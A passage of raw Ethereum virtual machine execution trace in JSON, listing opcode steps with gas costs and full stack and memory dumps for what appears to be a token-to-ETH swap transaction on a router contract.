0000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":11728,"op":"MLOAD","gas":9123,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xd02","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x136dbf40ac09b","0x0","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x136dbf40ac09b","0x3a4","0x0","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":11729,"op":"DUP1","gas":9120,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xd02","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x136dbf40ac09b","0x0","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x136dbf40ac09b","0x3a4","0x0","0x3a4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":11730,"op":"DUP4","gas":9117,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xd02","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x136dbf40ac09b","0x0","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x136dbf40ac09b","0x3a4","0x0","0x3a4","0x3a4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":11731,"op":"SUB","gas":9114,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xd02","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x136dbf40ac09b","0x0","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x136dbf40ac09b","0x3a4","0x0","0x3a4","0x3a4","0x3a4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":11732,"op":"DUP2","gas":9111,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xd02","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x136dbf40ac09b","0x0","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x136dbf40ac09b","0x3a4","0x0","0x3a4","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":11733,"op":"DUP6","gas":9108,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xd02","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x136dbf40ac09b","0x0","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x136dbf40ac09b","0x3a4","0x0","0x3a4","0x0","0x3a4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":11734,"op":"DUP8","gas":9105,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xd02","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x136dbf40ac09b","0x0","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x136dbf40ac09b","0x3a4","0x0","0x3a4","0x0","0x3a4","0x136dbf40ac09b"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":11735,"op":"GAS","gas":9102,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xd02","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x136dbf40ac09b","0x0","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x136dbf40ac09b","0x3a4","0x0","0x3a4","0x0","0x3a4","0x136dbf40ac09b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":11736,"op":"CALL","gas":9100,"gasCost":9100,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xd02","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x136dbf40ac09b","0x0","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x136dbf40ac09b","0x3a4","0x0","0x3a4","0x0","0x3a4","0x136dbf40ac09b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x238c"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":11737,"op":"SWAP3","gas":2300,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xd02","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x136dbf40ac09b","0x0","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x136dbf40ac09b","0x3a4","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":11738,"op":"POP","gas":2297,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xd02","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x136dbf40ac09b","0x0","0x1","0x136dbf40ac09b","0x3a4","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":11739,"op":"POP","gas":2295,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xd02","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x136dbf40ac09b","0x0","0x1","0x136dbf40ac09b","0x3a4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","000000200000000000000000000000000